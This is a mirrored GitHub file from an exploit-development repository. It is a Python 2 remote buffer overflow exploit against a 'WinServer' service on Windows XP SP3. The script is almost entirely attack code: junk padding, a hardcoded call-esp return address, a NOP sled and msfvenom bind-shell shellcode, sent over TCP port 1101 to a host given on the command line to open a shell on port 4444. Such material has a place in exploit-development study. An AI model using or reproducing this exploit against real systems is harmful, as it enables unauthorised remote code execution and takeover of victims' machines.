mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
VoidSec
58 lines
2.3 KiB
Python
58 lines
2.3 KiB
Python
"""
|
|
Full title: WinServer Remote Buffer Overflow
|
|
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
|
Tested on: Windows XP SP3
|
|
Category: remote exploit
|
|
Platform: windows
|
|
"""
|
|
#!/usr/bin/python
|
|
|
|
import sys, socket
|
|
|
|
if len(sys.argv) < 2:
|
|
print "\nUsage: " + sys.argv[0] + " <HOST>\n"
|
|
sys.exit()
|
|
|
|
junk ="A"*28
|
|
eip="\x78\x6a\x83\x7c"#xp sp3 (en) call esp 7C836A78
|
|
nop="\x90"*12
|
|
#msfvenom -p windows/shell_bind_tcp -a x86 --platform Windows LPORT=4444 -f python -b "\x00"
|
|
buf = ""
|
|
buf += "\xdb\xd8\xd9\x74\x24\xf4\x5b\xbf\x9b\x9d\x8a\x07\x31"
|
|
buf += "\xc9\xb1\x53\x83\xeb\xfc\x31\x7b\x13\x03\xe0\x8e\x68"
|
|
buf += "\xf2\xea\x59\xee\xfd\x12\x9a\x8f\x74\xf7\xab\x8f\xe3"
|
|
buf += "\x7c\x9b\x3f\x67\xd0\x10\xcb\x25\xc0\xa3\xb9\xe1\xe7"
|
|
buf += "\x04\x77\xd4\xc6\x95\x24\x24\x49\x16\x37\x79\xa9\x27"
|
|
buf += "\xf8\x8c\xa8\x60\xe5\x7d\xf8\x39\x61\xd3\xec\x4e\x3f"
|
|
buf += "\xe8\x87\x1d\xd1\x68\x74\xd5\xd0\x59\x2b\x6d\x8b\x79"
|
|
buf += "\xca\xa2\xa7\x33\xd4\xa7\x82\x8a\x6f\x13\x78\x0d\xb9"
|
|
buf += "\x6d\x81\xa2\x84\x41\x70\xba\xc1\x66\x6b\xc9\x3b\x95"
|
|
buf += "\x16\xca\xf8\xe7\xcc\x5f\x1a\x4f\x86\xf8\xc6\x71\x4b"
|
|
buf += "\x9e\x8d\x7e\x20\xd4\xc9\x62\xb7\x39\x62\x9e\x3c\xbc"
|
|
buf += "\xa4\x16\x06\x9b\x60\x72\xdc\x82\x31\xde\xb3\xbb\x21"
|
|
buf += "\x81\x6c\x1e\x2a\x2c\x78\x13\x71\x39\x4d\x1e\x89\xb9"
|
|
buf += "\xd9\x29\xfa\x8b\x46\x82\x94\xa7\x0f\x0c\x63\xc7\x25"
|
|
buf += "\xe8\xfb\x36\xc6\x09\xd2\xfc\x92\x59\x4c\xd4\x9a\x31"
|
|
buf += "\x8c\xd9\x4e\xaf\x84\x7c\x21\xd2\x69\x3e\x91\x52\xc1"
|
|
buf += "\xd7\xfb\x5c\x3e\xc7\x03\xb7\x57\x60\xfe\x38\x46\x2d"
|
|
buf += "\x77\xde\x02\xdd\xd1\x48\xba\x1f\x06\x41\x5d\x5f\x6c"
|
|
buf += "\xf9\xc9\x28\x66\x3e\xf6\xa8\xac\x68\x60\x23\xa3\xac"
|
|
buf += "\x91\x34\xee\x84\xc6\xa3\x64\x45\xa5\x52\x78\x4c\x5d"
|
|
buf += "\xf6\xeb\x0b\x9d\x71\x10\x84\xca\xd6\xe6\xdd\x9e\xca"
|
|
buf += "\x51\x74\xbc\x16\x07\xbf\x04\xcd\xf4\x3e\x85\x80\x41"
|
|
buf += "\x65\x95\x5c\x49\x21\xc1\x30\x1c\xff\xbf\xf6\xf6\xb1"
|
|
buf += "\x69\xa1\xa5\x1b\xfd\x34\x86\x9b\x7b\x39\xc3\x6d\x63"
|
|
buf += "\x88\xba\x2b\x9c\x25\x2b\xbc\xe5\x5b\xcb\x43\x3c\xd8"
|
|
buf += "\xfb\x09\x1c\x49\x94\xd7\xf5\xcb\xf9\xe7\x20\x0f\x04"
|
|
buf += "\x64\xc0\xf0\xf3\x74\xa1\xf5\xb8\x32\x5a\x84\xd1\xd6"
|
|
buf += "\x5c\x3b\xd1\xf2"
|
|
|
|
payload = junk+eip+nop+buf
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect((sys.argv[1], 1101))
|
|
s.send(payload)
|
|
s.recv(1024)
|
|
s.close()
|
|
|